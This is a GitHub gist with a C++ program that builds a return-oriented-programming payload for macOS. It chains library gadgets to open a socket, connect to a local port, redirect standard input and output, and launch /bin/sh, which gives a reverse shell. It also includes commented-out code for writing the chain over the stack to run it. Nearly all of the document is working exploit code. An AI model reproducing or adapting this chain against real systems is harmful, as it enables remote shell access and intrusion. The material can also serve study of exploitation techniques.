Skip to content

Instantly share code, notes, and snippets.

@ccbrown
Last active September 20, 2015 23:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ccbrown/cd7c8f5dccbd5699fe43 to your computer and use it in GitHub Desktop.
Save ccbrown/cd7c8f5dccbd5699fe43 to your computer and use it in GitHub Desktop.
An example ROP payload for OSX.
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
// the address that /usr/lib/system/libdyld.dylib is loaded to
// this is randomized on bootup and can be read from lldb via `image list`
// you can set it here or you can pass it as an argument
uint64_t gDyldDylibAddress = 0;
// gadgets may move or disappear from version to version. if this doesn't work for you,
// double check the offsets. there aren't that many
#define KERNEL_GADGET(offset) gDyldDylibAddress + 0x67b4000 + offset
#define CPPABI_GADGET(offset) gDyldDylibAddress - 0x262e000 + offset
#define CPP_GADGET(offset) gDyldDylibAddress + 0x5e0b000 + offset
#define NETWORK_GADGET(offset) gDyldDylibAddress + 0x0603000 + offset
#define LOAD_RAX(n) \
NETWORK_GADGET(0x000000000001cf2f), n, 0 // pop rax ; pop rbp ; ret
#define LOAD_RSI(n) \
KERNEL_GADGET(0x0000000000001145), n, 0 // pop rsi ; pop rbp ; ret
#define LOAD_RDI(n) \
KERNEL_GADGET(0x0000000000000b25), n, 0 // pop rdi ; pop rbp ; ret
#define LOAD_RDX(n) \
KERNEL_GADGET(0x0000000000014762), n // pop rdx ; ret
// sets rax to return value
#define SYSCALL(n) \
LOAD_RAX(n), \
KERNEL_GADGET(0x0000000000011404) // syscall ; ret
#define MOVE_RAX_TO_RBX() \
KERNEL_GADGET(0x000000000000240b), 0, 0 // push rax ; pop rbx ; pop r14 ; pop rbp ; ret
// clobbers rax
#define MOVE_RBX_TO_RDI() \
LOAD_RAX(KERNEL_GADGET(0x0000000000000b26)), /* pop rbp ; ret */ \
KERNEL_GADGET(0x00000000000101a0) // mov rdi, rbx ; call rax
// clobbers rbx
#define MOVE_RAX_TO_RDI() \
MOVE_RAX_TO_RBX(), \
MOVE_RBX_TO_RDI()
// clobbers rax
#define MOVE_RSI_TO_RDI() \
CPP_GADGET(0x00000000000454da), 0 // mov rdi, rsi ; mov rax, rdi ; pop rbp ; ret
// returns pointer in rsi, clobbers rdi
#define GET_POINTER(a, b, c, d, e) \
LOAD_RDI(KERNEL_GADGET(0x00000000000016bf)), /* pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret */ \
NETWORK_GADGET(0x000000000001cfd8), /* push rsp ; pop rbp ; ret */ \
CPPABI_GADGET(0x000000000002605f), 0, 0, /* push rbp ; mov rbp, rsp ; call rdi */ \
LOAD_RSI(8*8), \
CPPABI_GADGET(0x00000000000280ca), /* add rsi, r14 ; ret */ \
KERNEL_GADGET(0x00000000000016bd), a, b, c, d, e // pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
int main(int argc, const char* argv[]) {
if (argc > 1) {
gDyldDylibAddress = std::stoull(argv[1], nullptr, 0);
}
uint64_t chain[] = {
// socket(AF_INET, SOCK_STREAM, 0)
LOAD_RDI(2),
LOAD_RSI(1),
LOAD_RDX(0),
SYSCALL(0x2000061),
// connect(s, &address, 16)
GET_POINTER(0x0100007fb80b0200, 0, 0, 0, 0),
MOVE_RAX_TO_RDI(),
LOAD_RDX(16),
SYSCALL(0x2000062),
// dup2(s, 0)
LOAD_RSI(0),
SYSCALL(0x200005a),
// dup2(s, 1)
LOAD_RSI(1),
SYSCALL(0x200005a),
// dup2(s, 2)
LOAD_RSI(2),
SYSCALL(0x200005a),
// execve("/bin/sh", 0, 0)
GET_POINTER(0x0068732f6e69622f, 0, 0, 0, 0),
MOVE_RSI_TO_RDI(),
LOAD_RSI(0),
LOAD_RDX(0),
SYSCALL(0x200003b),
};
for (auto& n : chain) {
for (size_t i = 0; i < 8; ++i) {
printf("%02x", *(reinterpret_cast<uint8_t*>(&n) + i));
}
}
printf("\n");
// uncomment this to execute the chain
// uint64_t* rbp = nullptr;
// asm("mov %%rbp, %0" : "=r"(rbp));
// printf("copying to %p\n", rbp + 1);
// memcpy(rbp + 1, chain, sizeof(chain));
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment